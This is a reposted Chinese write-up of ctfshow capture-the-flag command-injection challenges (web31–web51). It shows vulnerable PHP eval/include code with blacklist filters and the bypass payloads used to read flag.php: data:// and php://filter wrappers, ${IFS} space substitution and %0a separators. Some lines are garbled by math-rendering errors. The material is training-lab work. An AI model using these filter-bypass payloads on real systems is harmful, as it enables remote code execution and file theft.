ICode9

精准搜索请尝试: 精确搜索
首页 > 其他分享> 文章详细

命令注入ctfshow

2021-07-20 21:29:33  阅读:255  来源: 互联网

标签:__ GET base64 cat 命令 flag ctfshow php 注入



title: CTFshow命令注入
date: 2021-07-15
tags: [ctf]
description: 刷题记录

搜索引擎http://helosec.com/
正则解释https://regexper.com/

web31

<?php
error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
}

过滤
flag system php cat sort shell . 空格 ’

payload:?c=eval($_GET[1]);&1=system(“cat flag.php”);

官方wp show_source(next(array_reverse(scandir(pos(localeconv())))));
array_reverse:以相反的元素顺序返回数组
scandir: 列出指定路径中的文件和目录
pos???
localeconv() 函数返回一包含本地数字及货币格式信息的数组。?????

web32

<?php
error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
}

payload: ?c=include$_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php
include:利用文件包含
php伪协议:php://filter/read=convert.base64-encode/resource=flag.php 用base64编码读取文件
base64在线解码:https://base64.us/

官方wp:c= n i c e = i n c l u d e nice=include nice=include_GET[“url”]?>&url=php://filter/read=convert.base64 encode/resource=flag.php
?>代替分号

web33

<?php
error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\"/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
} 

过滤 “flag” “system” “php” “cat” “sort” “shell” “.” “ ” “’” “`” “echo” “;” “(” “"”
payload: ?c=include$_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php
include:利用文件包含
php伪协议:php://filter/read=convert.base64-encode/resource=flag.php 用base64编码读取文件
base64在线解码:https://base64.us/

官方wp:c=?><?=include$_GET[1]?>&1=php://filter/read=convert.base64-
encode/resource=flag.php
?><?干啥用?????

web34

<?php
error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
}

payload: ?c=includeKaTeX parse error: Expected 'EOF', got '&' at position 10: _GET[1]?>&̲1=php://filter/…_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php

web35

。。。。。一模一样

web36

过滤数字把上面的1换成a

web 37

<?php
//flag in flag.php
error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag/i", $c)){
        include($c);
        echo $flag;
    
    }
        
}else{
    highlight_file(__FILE__);
}

data伪协议
payload:?c=data://text/plain,<?php system($_POST[A]);?>
POST A=cat flag.php
官方wp:data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs/Pg==

web38

过滤php
把<?php 换成 <=
data伪协议
payload:?c=data://text/plain,<?= system($_POST[A]);?>
POST A=cat flag.php

web39

如上
hint:data://text/plain, 这样就相当于执行了php语句 .php 因为前面的php语句已经闭合了,所以后面的.php会被当成html页面直接显示在页面上,起不到什么 作用

web40

<?php
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/[0-9]|\~|\`|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\=|\+|\{|\[|\]|\}|\:|\'|\"|\,|\<|\.|\>|\/|\?|\\\\/i", $c)){
        eval($c);
    }        
}else{
    highlight_file(__FILE__);
}

过滤的中文括号
读取当前文件夹文件:?c=print_r(scandir(pos(localeconv())));
payload:?c=show_source(next(array_reverse(scandir(pos(localeconv())))));

localeconv():返回一包含本地数字及货币格式信息的数组。其中数组中的第一个为点号(.)
pos():返回数组中当前元素的值
scandir():获取目录下的文件
array_reverse():将数组逆序排列
next():函数将内部指针指向下一元素,并输出

官方wp:
show_source(next(array_reverse(scandir(pos(localeconv())))));
GXYCTF的禁止套娃 通过cookie获得参数进行命令执行
c=session_start();system(session_id());
passid=ls

web41

不会来个大佬教我!!!

web42

payload:c=ls;%0a也行||也行
;执行多个命令

web43

; cat 过滤
用%0a 和 tac 等等

web44

; cat flag过滤
用%0a 和 tac fla?.php fla*.php fl\ag.php等等

web45

过滤空格
echo I F S ‘ t a c IFS`tac IFS‘tacIFS*`%0A
payload:/?c=tac${IFS}fla?.php%0a
system中 ${IFS}代替空格

web46 web47 web48 web 49 web50

tac|more|less|curl|nl|tail|sort|strings读取

过滤了$
%09代替
/?c=tac%09fla?.php%0a(web50过滤%09)
nl<fla’'g.php||(查看源码)

web51

过滤 , n l 用 n l ,nl 用nl ,nl用nl{IFS}fla’'g.php||

标签:__,GET,base64,cat,命令,flag,ctfshow,php,注入
来源: https://blog.csdn.net/yaoge1225/article/details/118944870

本站声明: 1. iCode9 技术分享网(下文简称本站)提供的所有内容,仅供技术学习、探讨和分享;
2. 关于本站的所有留言、评论、转载及引用,纯属内容发起人的个人观点,与本站观点和立场无关;
3. 关于本站的所有言论和文字,纯属内容发起人的个人观点,与本站观点和立场无关;
4. 本站文章均是网友提供,不完全保证技术分享内容的完整性、准确性、时效性、风险性和版权归属;如您发现该文章侵犯了您的权益,可联系我们第一时间进行删除;
5. 本站为非盈利性的个人网站,所有内容不会用来进行牟利,也不会利用任何形式的广告来间接获益,纯粹是为了广大技术爱好者提供技术内容和技术思想的分享性交流网站。

专注分享技术,共同学习,共同进步。侵权联系[81616952@qq.com]

Copyright (C)ICode9.com, All Rights Reserved.

ICode9版权所有